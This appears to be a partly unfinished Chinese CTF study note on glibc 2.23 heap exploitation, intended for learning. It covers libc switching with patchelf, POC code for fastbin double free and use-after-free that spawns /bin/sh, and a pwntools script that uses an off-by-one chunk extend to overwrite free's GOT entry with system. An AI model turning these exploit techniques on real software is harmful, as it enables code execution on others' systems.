希望可以帮助到想要学习2.23的师傅们,之前学习glibc2.23的时候7resp4ss师傅给了我一个文档参考学习,并没有做完,出来打后续可能就就停滞了,现发出来
如何切换libc?
- 下载glibc_all_in_one(百度自己搜索教程就完事了)安装完记得进去文件夹下载各个版本的glibc,下载的glibc会存在该目录的libs目录里。
- 安装patchelf(安装教程同上)
- 新建一个chlibc(切换libc)脚本,内容如下:
然后通过cp指令放到/usr/bin/里- 使用:
- $ chlibc ~/desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64 ./pwn_file
第一个参数为glibc目录,第二个参数为elf文件使用完用ldd查看即可(注意!切换libc不成功说明文件正在被使用)
注意patchelf的安装
https://github.com/NixOS/patchelf./bootstrap.sh
./configure
make
make check
sudo make install
把这些代码都执行了,不然到时候找不到patchelf的地址
how_to_learn?
直接百度或者谷歌搜索,或者在安全客/看雪里找详细的文章看!注意,一定要结合glibc2.23源码!
queston
- 我该怎么看对应版本的源码?
直接去清华源下载glibc对应版本的压缩包,然后解压就可以看了。
fast_bin_attack
1.double free
- 适用条件:fastbin堆块释放后pre_size的位置依旧是1 fastbin在执行free的时候仅仅只验证了main_arena后面的那个chunk,其他的没有验证
- 利用效果:可以实现任意地址的读写
- 基本原理:在被free的chunk1启动之后,可以修改它的fd位置,而另一个它在fastbin中,从而可以在fastbin中加入bss_chunk
- POC + 调试:
//gcc -g hollk4.c -o hollk4
#include<stdio.h>
typedef struct _chunk
{
long long pre_size;
long long size;
long long fd;
long long bk;
} CHUNK,*PCHUNK;
CHUNK bss_chunk;
int main(void)
{
void *chunk1,*chunk2,*chunk3;
void *chunk_a,*chunk_b;
bss_chunk.size=0x21;
chunk1=malloc(0x10);
chunk2=malloc(0x10);
free(chunk1);
free(chunk2);
free(chunk1);
chunk_a=malloc(0x10);
*(long long *)chunk_a=&bss_chunk;
malloc(0x10);
malloc(0x10);
chunk_b=malloc(0x10);
printf("%p",chunk_b);
return 0;
}
执行完后,chunk_a就是chunk1,也是fastbin最后的chunk1,后面再加上bss_chunk
现在只有bss_chunk
2.use after free
就是double free的简化版(可以改free掉的chunk的内容)
- 适用条件:应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存
- 利用效果:
- 基本原理:
- POC + 调试:
#include <stdio.h>
#include <stdlib.h>
typedef void (*func_ptr)(char *);
void evil_fuc(char command[])
{
system(command);
}
void echo(char content[])
{
printf("%s",content);
}
int main()
{
func_ptr *p1=(func_ptr*)malloc(4*sizeof(int));
printf("malloc addr: %p\n",p1);
p1[3]=echo;
p1[3]("hello world\n");
free(p1); //在这里free了p1,但并未将p1置空,导致后续可以再使用p1指针
p1[3]("hello again\n"); //p1指针未被置空,虽然free了,但仍可使用.
func_ptr *p2=(func_ptr*)malloc(4*sizeof(int));//malloc在free一块内存后,再次申请同样大小的指针会把刚刚释放的内存分配出来.
printf("malloc addr: %p\n",p2);
printf("malloc addr: %p\n",p1);//p2与p1指针指向的内存为同一地址
p2[3]=evil_fuc; //在这里将p1指针里面保存的echo函数指针覆盖成为了evil_func指针.
p1[3]("/bin/sh");
return 0;
}
3.chunk extend
- 适用条件:
- chunk要在fastbin大小范围内
- 可以进行堆布局(不知道是什么)
- 可以溢出至少一个字节
- 利用效果:就是和前面一样,任意写
- 基本原理:就是通过改变size位,使前一个chunk覆盖后一个chunk,实现写入
- POC + 调试:
extend 实例
先看下文件
看下ida
read函数第一个参数是content,第二个是size + 1(可以溢出一位)
这里我们可以利用off by one
这个位置存放的是chunk_content的地址,存在一次地址跳跃
我们可以把这里的地址改写为free.got,后面利用打印函数,就可以打印出来真实地址
接下来,content指针依旧是free got,然后我们修改content的内容,改为system函数的地址就行
from pwn import *
from LibcSearcher import*
context(os='linux', arch='amd64', log_level='debug')
sh = process('./heap_extend')
elf = ELF('./heap_extend')
def create(size, content):
sh.recvuntil(":")
sh.sendline("1")
sh.recvuntil(":")
sh.sendline(str(size))
sh.recvuntil(":")
sh.sendline(content)
def edit(idx, content):
sh.recvuntil(":")
sh.sendline("2")
sh.recvuntil(":")
sh.sendline(str(idx))
sh.recvuntil(":")
sh.sendline(content)
def show(idx):
sh.recvuntil(":")
sh.sendline("3")
sh.recvuntil(":")
sh.sendline(str(idx))
def delete(idx):
sh.recvuntil(":")
sh.sendline("4")
sh.recvuntil(":")
sh.sendline(str(idx))
create(0x18, "hollk")
create(0x10, "hollk")
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
delete(1)
create(0x30, p64(0) * 3 + p64(0x21) + p64(0x30) + p64(elf.got['free']))
show(1)
sh.recvuntil("Content : ")
data =sh.recvuntil("Done !")
free_addr = u64(data.split(b"\n")[0].ljust(8,b"\x00"))
libc = LibcSearcher("free",free_addr)
libcbase = free_addr - libc.dump('free')
system_addr = libcbase + libc.dump('system')
edit(1, p64(system_addr))
delete(0)
#gdb.attach(hollk)
sh.interactive()